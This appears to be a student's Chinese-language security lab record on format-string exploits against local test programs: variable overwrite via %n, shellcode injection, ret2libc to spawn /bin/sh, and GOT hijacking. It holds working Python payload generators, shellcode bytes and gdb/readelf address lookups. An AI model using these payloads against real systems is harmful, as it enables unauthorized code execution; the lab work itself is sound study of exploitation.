信息系统安全实验1记录

prog1 修改变量值

攻击方法:利用 printf 函数漏洞,使用 %.nx 来输出 n 位长度的字符,然后使用 %n 将之前打印的字符长度写入指定地址。

  1. 首先,配置环境并编译程序

    1
    2
    3
    4
    5
    6
    # 禁用 ASLR
    sudo sysctl -w kernel.randomize_va_space=0

    # 将 prog1.c 编译为 32 位,需要在源文件中将 fread 修改为 fgets
    # 记得不要使用 -fno-stack-protector 选项
    gcc -z execstack -o prog1 prog1.c
  2. 执行程序并查看布局

    1
    2
    # %08x | %08x | %08x | %08x | %08x
    .\prog1
    1
  3. 构造格式字符串以修改为 0x66887799

    1
    sh exploit_prog1_1.sh bfffed54
    2
  4. 构造格式字符串以修改为 0xdeadbeef

    1
    sh exploit_prog1_2.sh bfffed54

prog2 shellcode 注入,获取 shell

攻击方法:修改函数返回地址为注入的 shellcode 地址。注意 shellcode 在栈上执行,因此 启用栈执行

  1. 启用栈保护和栈执行

    1
    gcc -fstack-protector -z execstack prog2.c -o prog2
  2. 查看相关地址,需要将返回地址覆盖为 shellcode 地址

    1
    echo -e "%08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x" > input2
    3
  3. 还需要确认需要多少个 %.8x 来将指针指向 str 数组的开头

    4
  4. 我们的目标是将返回地址覆盖为数组中的一个位置,然后通过 sled 指令获取 shell。在 exploit.py 中填写相应的参数。为了命中 sled 指令,我们需要添加一个数字,需要尝试几次,基本上 80 就足够了。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    #!/usr/bin/python3
    import sys

    # 这个 shellcode 创建一个本地 shell
    local_shellcode= (
    "\x31\xc0\x31\xdb\xb0\xd5\xcd\x80"
    "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50"
    "\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x00"
    ).encode('latin-1')


    N = 200
    # 用 NOP 填充内容
    content = bytearray(0x90 for i in range(N))

    # 将代码放在末尾
    start = N - len(local_shellcode)
    content[start:] = local_shellcode


    # 将地址放在开头
    addr1 = 0xffffd0ae
    addr2 = 0xffffd0ac
    content[0:4] = (addr1).to_bytes(4,byteorder='little')
    content[4:8] = ("@@@@").encode('latin-1')
    content[8:12] = (addr2).to_bytes(4,byteorder='little')

    # 计算 C 的值
    C = 15

    # 供调查用途(试错)
    #s = "%.8x_"*C + "%n" + "\n"

    # 构造格式字符串
    small = 0xffff - 12 - C*8
    large = 0x1d0c4 - 0xffff + 75
    s = "%.8x"*C + "%." + str(small) + "x" + "%hn" \
    + "%." + str(large) + "x" + "%hn"
    fmt = (s).encode('latin-1')
    content[12:12+len(fmt)] = fmt

    print(content)

    # 将内容写入 badfile
    file = open("input2", "wb")
    file.write(content)
    file.close()

prog2 ret2libc 注入,获取 shell

攻击方法:这需要启用栈不可执行保护,因此我们需要通过 ret2libc 绕过它以获取 shell,即使用 system("/bin/sh")

  1. 启用 Stack Guard 和栈不可执行保护,编译命令如下:

    1
    gcc -fstack-protector -z noexecstack prog2.c -o prog2
  2. 首先暂时运行程序

    image-20240614171040392
  3. 接下来,需要找到相应的地址并构造控制流劫持前的栈细节。具体来说,需要找到 system() 函数和字符串 /bin/sh 的地址。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    # 方法 1 -- 通过 gdb 直接获取
    gdb -q prog2
    b printf
    run
    info proc map
    searchmem "/bin/sh" 0xb7d6a000 0xb7f1d000 # 在堆上从 libc 起始地址到结束地址搜索字符串
    p system
    p exit

    # 方法 2 -- 通过计算获取(.so 基地址 + 偏移地址)
    ldd ./prog2
    readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "system"
    readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "setuid"
    readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "exit"
    ropper --file /lib32/libc.so.6 --string "/bin/sh"
    gdb -q prog2
    b printf
    run
    info proc map

    第一种方法结果:

    image-20240614171317292 image-20240614171351094 image-20240614171414459

    第二种方法结果:

    image-20240614114521711

    两种方法计算出的结果相同:system: 0xb7da4da0, exit: 0xb7d989d0, “/bin/sh”: 0xb7ec582b

  4. 构造 shellcode,将返回地址覆盖为 system 函数地址,返回地址+4 为 exit 函数地址,返回地址+8 为 system 函数参数覆盖为 /bin/sh 地址。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    #!/usr/bin/python3
    import sys
    import argparse

    def generate_payload(ret_addr, sh_str_addr, exit_addr, system_addr):
    N = 200

    addr = ret_addr
    payload = (addr + 10).to_bytes(4, byteorder='little') # /bin/sh 字符串地址的高 2 字节
    payload += ("@@@@").encode('latin-1')
    payload += (addr + 8).to_bytes(4, byteorder='little') # /bin/sh 字符串地址的低 2 字节
    payload += ("@@@@").encode('latin-1')
    payload += (addr + 6).to_bytes(4, byteorder='little') # exit 地址的高 2 字节
    payload += ("@@@@").encode('latin-1')
    payload += (addr + 4).to_bytes(4, byteorder='little') # exit 地址的低 2 字节
    payload += ("@@@@").encode('latin-1')
    payload += (addr + 2).to_bytes(4, byteorder='little') # system 地址的高 2 字节
    payload += ("@@@@").encode('latin-1')
    payload += (addr).to_bytes(4, byteorder='little') # system 地址的低 2 字节

    sh_str_addr = int(sh_str_addr, 16)
    exit_addr = int(exit_addr, 16)
    system_addr = int(system_addr, 16)

    # 构造格式字符串
    offsets = [
    (sh_str_addr >> 16) - len(payload),
    (sh_str_addr & 0xffff) - (sh_str_addr >> 16),
    (exit_addr >> 16) - (sh_str_addr & 0xffff),
    (exit_addr & 0xffff) - (exit_addr >> 16),
    (system_addr >> 16) - (exit_addr & 0xffff),
    (system_addr & 0xffff) - (system_addr >> 16)
    ]

    # 如有必要,调整偏移量
    for i in range(1, len(offsets)):
    if offsets[i] <= 0:
    offsets[i] += 0x10000

    s = "%." + str(offsets[0]) + "x" + "%17$hn" + \
    "%." + str(offsets[1]) + "x" + "%19$hn" + \
    "%." + str(offsets[2]) + "x" + "%21$hn" + \
    "%." + str(offsets[3]) + "x" + "%23$hn" + \
    "%." + str(offsets[4]) + "x" + "%25$hn" + \
    "%." + str(offsets[5]) + "x" + "%27$hn" + "\n"

    payload += (s).encode('latin-1')
    payload += bytearray(0x90 for _ in range(N - len(payload)))

    return payload

    def main():
    parser = argparse.ArgumentParser(description="生成格式字符串漏洞的有效负载。")
    parser.add_argument('ret_address', type=lambda x: int(x, 16), help="返回地址(十六进制)")
    parser.add_argument('sh_str_address', type=str, help="/bin/sh 字符串地址(十六进制)")
    parser.add_argument('exit_address', type=str, help="exit 函数地址(十六进制)")
    parser.add_argument('system_address', type=str, help="system 函数地址(十六进制)")
    args = parser.parse_args()

    payload = generate_payload(args.ret_address, args.sh_str_address, args.exit_address, args.system_address)

    # 将内容写入 input2
    with open("input2", "wb") as f:
    f.write(payload)

    if __name__ == "__main__":
    main()
    1
    sh exploit_prog2_2.sh bfffeccc b7ec582b b7d989d0 b7da4da0

prog2 GOT 表劫持,调用 win 函数

攻击方法:使用 printf 函数将 GOT 表中 printf 的偏移修改为 win 函数地址,使得 fmtstf 函数中的最后一个 printf 执行 win 函数。

  1. 查看 GOT 表,找到 printf 函数地址为 0x0804a00c

    1
    objdump -R prog2
    image-20240614171850643
  2. 查看 PLT 表,看到 win 函数地址为 0x0804850b

    1
    objdump -d prog2 | grep -A 18 win
    image-20240614171908045
  3. 开始攻击

    1
    2
    # 启用地址随机化
    sudo sysctl -w kernel.randomize_va_space=2
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    #!/usr/bin/python3
    import sys
    import argparse

    def generate_payload(win_addr, printf_addr):

    addr = printf_addr
    payload = (addr + 2).to_bytes(4, byteorder='little') # win 函数地址的高 2 字节
    payload += ("@@@@").encode('latin-1')
    payload += (addr).to_bytes(4, byteorder='little') # win 函数地址的低 2 字节

    win_addr = int(win_addr, 16)

    # 计算格式字符串的偏移值
    offset1 = (win_addr >> 16) - 3*4 - 8*15
    offset2 = (win_addr & 0xffff) - (win_addr >> 16)

    if offset2 < 0:
    offset2 += 0x10000

    s = "%.8x" * 15 + \
    "%." + str(offset1) + "x" + "%hn" + \
    "%." + str(offset2) + "x" + "%hn" + "\n"

    payload += (s).encode('latin-1')

    return payload

    def main():
    parser = argparse.ArgumentParser(description="生成格式字符串漏洞的有效负载。")
    parser.add_argument('win_address', type=str, help="win 函数地址(十六进制)")
    parser.add_argument('printf_address', type=lambda x: int(x, 16), help="printf 函数地址(十六进制)")
    args = parser.parse_args()

    payload = generate_payload(args.win_address, args.printf_address)

    # 将内容写入 input2
    with open("input2", "wb") as f:
    f.write(payload)

    if __name__ == "__main__":
    main()
    1
    sh exploit_prog2_3.sh 0804850b 0804a00c
    image-20240614172148953
    image-20240614173640106